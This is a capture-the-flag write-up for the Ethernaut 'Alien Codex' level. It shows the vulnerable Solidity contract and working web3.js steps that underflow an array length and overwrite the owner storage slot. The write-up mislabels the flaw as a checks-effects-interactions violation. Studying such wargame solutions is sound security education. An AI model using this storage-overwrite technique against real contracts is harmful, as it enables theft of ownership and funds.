Ethernaut Level 19: Alien Codex

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
      codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Requirements

  1. Take ownership of the contract.

Concepts

Hack

The exploit is focused on the dynamic array codex. Examining the function

function retract() contacted public {
  codex.length--;
}

we notice that it violates the checks-effects-interactions best practice. Basically, the codex length is decreased without a check for possible underflow. Calling retract sets the array length to 2^256 - 1. This gives us control over all the storage slots of the contract.

An important concept to understand is how storage slots are assigned for dynamically sized variables.

Due to their unpredictable size, mappings and dynamically-sized array types cannot be stored “in between” the state variables preceding and following them. Instead, they are considered to occupy only 32 bytes with regards to the rules and the elements they contain are stored starting at a different storage slot that is computed using a Keccak-256 hash.

The location of the array data is located using p, the position which stores array length.

Array data is located starting at keccak256(p) and it is laid out in the same way as statically-sized array data would: One element after the other, potentially sharing storage slots if the elements are not longer than 16 bytes.

Analyzing the storage slot layout.

Storage SlotData
0bool contact & address owner
1codex.length
keccak256(1)codex[0]
keccak256(1)+1codex[1]
2^256 - 1codex[2^256 - 1 - uint(keccak256(1))]
0codex[2^256 - 1 - uint(keccak256(1)) + 1]

Notice that codex[2^256 - 1 - uint(keccak256(1)) + 1] is storage slot 0. This means we can write and modify the slot that contains the owner address. We first have to determine keccak256(p), where p=1.

Solution

First, we have to call make_contact so that we can call the other functions in the smart contract.

await contract.make_contact()

Next, we call retract so that we take control of the entire storage.

await contract.retract()

Now, we have to compute the index corresponding to slot 0. Recall that p=1.

= 2^256 - 1 - uint(keccak256(1)) + 1
= 2^256 - uint(keccak256(1))

Using web3.js, let us compute for the index.

p = web3.utils.keccak256(web3.eth.abi.encodeParameters(["uint256"], [1]))
index = BigInt(2**256) - BigInt(p)

We have calculated the index of storage slot 0, now we should call revise to modify the owner address. However, our address is only 20 bytes long and storage slots are 32 bytes long. To resolve this we must pad our address with additional 0s.

newOwner = '0x' + '0'.repeat(24)+player.slice(2)

Finally, call the revise method.

await contract.revise(index, newOwner, {from: player})

Done!